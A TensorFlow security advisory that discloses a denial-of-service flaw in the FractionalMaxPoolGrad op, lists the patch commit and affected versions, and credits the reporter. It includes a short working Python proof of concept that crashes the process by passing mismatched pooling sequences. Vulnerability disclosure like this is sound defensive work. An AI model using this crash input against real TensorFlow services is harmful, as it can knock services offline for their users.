TensorFlow vulnerable to `CHECK` fail in `FractionalMaxPoolGrad`
### Impact
`FractionalMaxPoolGrad` validates its inputs with `CHECK` failures instead of with returning errors. If it gets incorrectly sized inputs, the `CHECK` failure can be used to trigger a denial of service attack:
```python
import tensorflow as tf
overlapping = True
orig_input = tf.constant(.453409232, shape=[1,7,13,1], dtype=tf.float32)
orig_output = tf.constant(.453409232, shape=[1,7,13,1], dtype=tf.float32)
out_backprop = tf.constant(.453409232, shape=[1,7,13,1], dtype=tf.float32)
row_pooling_sequence = tf.constant(0, shape=[5], dtype=tf.int64)
col_pooling_sequence = tf.constant(0, shape=[5], dtype=tf.int64)
tf.raw_ops.FractionalMaxPoolGrad(orig_input=orig_input, orig_output=orig_output, out_backprop=out_backprop, row_pooling_sequence=row_pooling_sequence, col_pooling_sequence=col_pooling_sequence, overlapping=overlapping)
```
### Patches
We have patched the issue in GitHub commit 8741e57d163a079db05a7107a7609af70931def4
https://github.com/tensorflow/tensorflow/commit/8741e57d163a079db05a7107a7609af70931def4.
The fix will be included in TensorFlow 2.10.0. We will also cherrypick this commit on TensorFlow 2.9.1, TensorFlow 2.8.1, and TensorFlow 2.7.2, as these are also affected and still in supported range.
### For more information
Please consult our security guide
https://github.com/tensorflow/tensorflow/blob/master/SECURITY.md for more information regarding the security model and how to contact us with issues and questions.
### Attribution
This vulnerability has been reported by Neophytos Christou, Secure Systems Labs, Brown University.